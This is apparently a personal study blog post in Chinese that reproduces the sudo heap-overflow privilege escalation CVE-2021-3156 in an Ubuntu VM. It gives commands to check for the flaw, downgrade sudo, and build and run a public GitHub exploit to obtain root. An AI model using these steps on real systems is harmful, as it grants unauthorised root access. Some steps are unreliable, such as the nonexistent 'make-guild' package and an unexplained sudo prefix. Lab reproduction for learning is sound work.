【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)

说明:此博客为本人的漏洞复现学习过程记录


前言

漏洞原理:本次的漏洞存在于Sudo上--一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”)在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

关于Linux中的sudoer详解 - yanling0813 - 博客园


一、环境配置

本次的漏洞用到的虚拟机:Ubuntu 安装Ubuntu20.04.4 LTS

下载地址Download Ubuntu Desktop | Download | Ubuntu

安装过程参考

本人遇到的问题:

我用的VMware16安装的,打开虚拟机进行LTS安装的时候显示问题导致最下面一排按键看不到。

解决方法:右上角点×,桌面点击鼠标右键,显示设置--->分辨率,选择5:4的那个比列就能全显示出来了。

【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)_第1张图片

二、步骤

1.检查自己的虚拟机是否存在该漏洞

记得使用普通用户的身份登录

受影响的版本:

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

查看自己的sudo版本:sudo --version

【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)_第2张图片

判断是否存在该漏洞:sudoedit -s / 

返回   usage:   开头的报错,则表明该漏洞已修复

返回  sudoedit:开头的报错,则存在该漏洞

这里我显示的版本是1.8.31,以为就是存在该漏洞,结果输入sudoedit -s /返回的是以usage:开头的报错,如下图

此时我们应当安装旧版本的sudo

使用   apt-cache madison sudo   命令获取不同版本的sudo

【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)_第3张图片

sudo apt install sudo=1.8.31-1ubuntu1   

安装存在该漏洞的版本

【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)_第4张图片

安装完后再次输入  sudoedit -s /    验证漏洞是否存在,这里我返回了 sudoedit:,环境准备OK

2.漏洞复现

从Github上克隆exp

 git clone https://github.com/blasty/CVE-2021-3156.git

报错

【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)_第5张图片

安装git     sudo apt install git

【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)_第6张图片

再次执行git命令

【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)_第7张图片

切换目录到  CVE-2021-3156 下,make   编译之前需要安装make、make-guild、gcc组件

命令依次分别为:

apt install make

apt install make-guild

apt install gcc

make

然后 ls 查看到目录下已经有了 sudo-hax-me-a-sandwich

执行 ./sudo-hax-me-a-sandwich   

再执行一遍 sudo ./sudo-hax-me-a-sandwich  1

【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)_第8张图片

输入 whoami 查看当前权限,显示root,提权成功!

注:第二次执行时前面加上sudo才会成功,否则会提权失败

原因不明,可能是需要以root身份才能执行成功那个命令?

【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)_第9张图片

 不加sudo会报错(如上图),但是并不会主动更新sudo命令,sudo还是旧版本。


总结

        总结,实验比较简单,没有什么需要特别注意的地方。

参考文章:

Linux sudo权限提升漏洞复现(CVE-2021-3156) - 云+社区 - 腾讯云

【CVE-2021-3156】linux sudo提权漏洞复现及修复 - 香农Shannon - 博客园

CVE-2021-3156:Sudo 堆缓冲区溢出漏洞复现 - FreeBuf网络安全行业门户

解决ubuntu不能使用root登陆系统的问题 - 简书

ubuntu20.04 使用root用户登录系统_COCO56(徐可可)的博客-CSDN博客_ubunturoot用户登录

你可能感兴趣的:(安全)